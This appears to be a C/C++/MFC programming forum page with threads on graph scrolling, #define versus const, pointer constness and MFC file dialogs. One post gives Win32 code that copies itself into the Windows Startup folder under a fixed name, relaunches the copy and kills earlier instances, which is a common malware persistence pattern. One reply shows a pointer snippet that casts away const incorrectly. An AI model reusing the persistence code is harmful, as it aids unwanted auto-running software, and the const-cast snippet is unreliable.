|
Need help with this
My app. draws a continous graph in a picture box using BitBlt() function..it behaves very much like an oscilloscope...now i want to add scrolling capability so that it:
1..scrolls automatically forward with the curve
2..also user can scroll it back and forth to view the part of curve drawn earlier
thanks
|
|
|
|
|
Search a little bit on this website, there are a lot of chart controls in the "miscellaneous controls" section.
Otherwise if you want some specific help on what you did, post specific question. Because honnestly by seing your questions, the more accurate response I can give you is: add a method to your chart that will allow the user to scroll the curve. I suppose this helped you a lot isn't it ?
|
|
|
|
|
Hi all,
What functions can help me to show desktop on a computer in a private network?
Cheers,
Thanks.
G.K.Z
Every new thing you learn,Gives you a new personality.
|
|
|
|
|
Salam,
What is the difference between #define and const int. Whether const int was present in C. If not, why it was introduced in C++?
|
|
|
|
|
A #define is just a preprocessor directive. Before the compilation, every lines in the code that match the 'first part' of the define will be 'replaced' by the 'second part' of the define. Thus there is no variable at all that is used for the define.
This code:
#define FIVE 5<br />
<br />
int Test = FIVE;
is exactly the same as this line:
int Test = 5;
|
|
|
|
|
wasife wrote:
What is the difference between #define and const int
keep in mind that #define have never been const int. you can use such a preprocessor command to replace whatever you want in the code before compile time.
such statements are fully authorized :
#define ONE_FLOAT (2.3f)
#define MAX(x,y) ((x > y) ? x : y)
and to continue on what cedric said, as the preprocessor works befor the compilation, the compiler cannot make any check on a bad "const" use with a #define...
TOXCCT >>> GEII power
[toxcct][VisualCalc]
|
|
|
|
|
Hello,
Here are a the differences between the const variables and #define's
The #define constant
<list> processed before compile time
ignores scoping rules (the preprocessor doens't know about scopes)
can be used in switch statements
very low type safety
const variable
<list> Processed at link time (or at runtime, i'm not sure)
Obeys scoping rules (the compiler knows about scopes)
Can't be used in switch statements, since these must have compile time constants and const variables are not compile time constants
Very high type safety
Hope this helps. 
Behind every great black man...
... is the police. - Conspiracy brother
Blog[^]
|
|
|
|
|
const variables can easily be optimized away during compilation. Otherwise they could not be used in switch statements.
Tim Smith
I'm going to patent thought. I have yet to see any prior art.
|
|
|
|
|
Tim Smith wrote:
const variables can easily be optimized away during compilation. Otherwise they could not be used in switch statements.
They cannot if the variable is located in an other translation unit. If you follow the "no variables in headers" rule, these constants should be declared in only one translation unit, which makes them unavailable at compile time.
IMHO though, people should use enums for constant integral values instead of ints or define constants..
Behind every great black man...
... is the police. - Conspiracy brother
Blog[^]
|
|
|
|
|
Does Visual C++ 6.0 can support Borland c++ libraries.
Can i use Borland C++ libraries in my MFC application
ditty grail
|
|
|
|
|
void u(const int* cip)
{
int i = *cip;
}
In the snippet above, the argument "const int* cip" is a pointer to const that is to say the thing this pointer pointed to can't be changed but the pointer can be changed right? But I don't understand why the line "int* ip2 = cip;" can't passed the compilation. Is it because after its execution the pointee can be changed through ip2?
...always look on the <blink>bright
side of life...
(Whistle)
|
|
|
|
|
The reason why the compiler complains is that you want to do an assignment where the original value loses qualifiers. If I remember correctly, you can do the following:
void u(const int* cip)
{
int** ppi = &cip;
(*(*ppi)) = 6;
(*(*ppi)) = 8;
}
This is one of the many reasons why pointer magic should be avoided as much as possible.
Behind every great black man...
... is the police. - Conspiracy brother
Blog[^]
|
|
|
|
|
Doing "int* ip2 = cip" illegal only because the pointee of pointer cip could be changed through pointer ip2? In that case the constness of pointer to const can't be keep?
...always look on the <blink>bright
side of life...
(Whistle)
|
|
|
|
|
YongSheng Li wrote:
Doing "int* ip2 = cip" illegal only because the pointee of pointer cip could be changed through pointer ip2? In that case the constness of pointer to const can't be keep?
Thats exactly what I'm saying. Doing that, the original type loses qualifiers, which is illegal..
Behind every great black man...
... is the police. - Conspiracy brother
Blog[^]
|
|
|
|
|
That's exactly what I'm expecting!Thank you!
...always look on the <blink>bright
side of life...
(Whistle)
|
|
|
|
|
Try :-
int* ip2 = const_cast<int*>(cip);
|
|
|
|
|
ip2 isn't a pointer to const.
|
|
|
|
|
guys here are my self install codes for any applications
it will copy itself to the startup folder and run
it's not very efficient so i need u guys to advise on improvements
works on win98,winxp
codes that have been commented out are some of the stuff i previously tested and found to be unsuccessful
<br />
char *current_directory = new char[MAX_PATH];
char *window_dir = new char[MAX_PATH];
GetModuleFileName(theApp.m_hInstance, current_directory, MAX_PATH);<br />
<br />
<br />
<br />
<br />
<br />
SHGetSpecialFolderPath(NULL,window_dir, CSIDL_STARTUP,TRUE);<br />
strcat(window_dir,"\\sev.exe");<br />
<br />
<br />
<br />
<br />
if( stricmp (current_directory , window_dir) != 0)
{<br />
int set_file_result = SetFileAttributes(window_dir,FILE_ATTRIBUTE_NORMAL);<br />
if (set_file_result == 0)
{<br />
CopyFile(current_directory,window_dir,FALSE ) ;<br />
ShellExecute(0,0,window_dir,0,0,0);<br />
delete[] window_dir;<br />
return 55;<br />
return 0;<br />
}<br />
<br />
BOOL delete_result = DeleteFile( window_dir);<br />
int bb = GetLastError();<br />
if(delete_result == 0)
{<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
{<br />
HANDLE hProcessSnap;<br />
PROCESSENTRY32 pe32;<br />
<br />
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );<br />
if( hProcessSnap == INVALID_HANDLE_VALUE )<br />
{<br />
return( FALSE );<br />
}<br />
pe32.dwSize = sizeof( PROCESSENTRY32 );<br />
<br />
<br />
if( !Process32First( hProcessSnap, &pe32 ) )<br />
{<br />
CloseHandle( hProcessSnap );
return( FALSE );<br />
}<br />
BOOL next_result = 1;<br />
<br />
while( ( stricmp( pe32.szExeFile , "sev.exe") != 0) && (next_result != FALSE ) )<br />
{<br />
next_result = Process32Next(hProcessSnap, &pe32);<br />
}<br />
<br />
HANDLE kill_this_process = OpenProcess( PROCESS_ALL_ACCESS,0, pe32.th32ProcessID);<br />
<br />
TerminateProcess(kill_this_process , 999);<br />
<br />
}<br />
<br />
<br />
<br />
<br />
while(!DeleteFile( window_dir) )<br />
{};<br />
}<br />
CopyFile(current_directory,window_dir,FALSE ) ;<br />
ShellExecute(0,0,window_dir,0,0,0);<br />
delete[] window_dir;<br />
return 55;<br />
<br />
}<br />
else
{<br />
HANDLE hProcessSnap;<br />
PROCESSENTRY32 pe32;<br />
<br />
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );<br />
if( hProcessSnap == INVALID_HANDLE_VALUE )<br />
{<br />
return( FALSE );<br />
}<br />
pe32.dwSize = sizeof( PROCESSENTRY32 );<br />
<br />
if( !Process32First( hProcessSnap, &pe32 ) )<br />
{<br />
CloseHandle( hProcessSnap );
return( FALSE );<br />
}<br />
BOOL next_result = 1;<br />
BOOL duplicate = FALSE;<br />
<br />
while( next_result != FALSE )<br />
{<br />
if( (stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == TRUE))<br />
{<br />
return 55;<br />
}<br />
if( ( stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == FALSE))<br />
{<br />
duplicate = TRUE;<br />
}<br />
next_result = Process32Next(hProcessSnap, &pe32);<br />
}<br />
<br />
<br />
if( (stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == TRUE))<br />
{<br />
}<br />
} <br />
delete[] window_dir;<br />
delete[] current_directory;
|
|
|
|
|
Write an article for it.
<italic>Work hard, Work effectively.
|
|
|
|
|
awah wrote:
it's not very efficient so i need u guys to advise on improvements
What exactly is it supposed to be doing?
"Ideas are a dime a dozen. People who put them into action are priceless." - Unknown
|
|
|
|
|
- copy itself to the startup folder, execute the copy and return
- if startup folder already has a copy of itself, delete the one in startup folder
- if unable to delete, it's assumed that it is running because it is running and gets write protected
- search for it's process and kill it so that it can be deleted
- but we dont want 2 instance of it, hence if it is already running and the startup folder, return the latter instance
|
|
|
|
|
i want to implement something like onFileopen()
i have a button, which when clicked should help me to browse to get the path of an executable on the system. onFileopen() should work but its ging error saying its a protected member and cannot be accessed
please suggest a solution
thanks
r.k
|
|
|
|
|
The MFC source code is on your hard drive, so you can look at the file dialog code you're wanting to run and use it as a guide to impliment your own code.
Just do a search for files containing the method name in the appropriate folder, or if you don't know it, on the base folder of your SDK or VC++ install.
Christian Graus - Microsoft MVP - C++
|
|
|
|
|
explicit CFileDialog(
BOOL bOpenFileDialog,
LPCTSTR lpszDefExt = NULL,
LPCTSTR lpszFileName = NULL,
DWORD dwFlags = OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
LPCTSTR lpszFilter = NULL,
CWnd* pParentWnd = NULL,
DWORD dwSize = 0
);
You'd better search the MSDN.
|
|
|
|
|
Anonymous wrote:
onFileopen() should work but its ging error saying its a protected member and cannot be accessed
Show us the code snippet that the compiler is complaining about.
"Ideas are a dime a dozen. People who put them into action are priceless." - Unknown
|
|
|
|
General 
News 
Suggestion 
Question 
Bug 
Answer 
Joke 
Praise 
Rant 
Admin 
Submit an article or tip
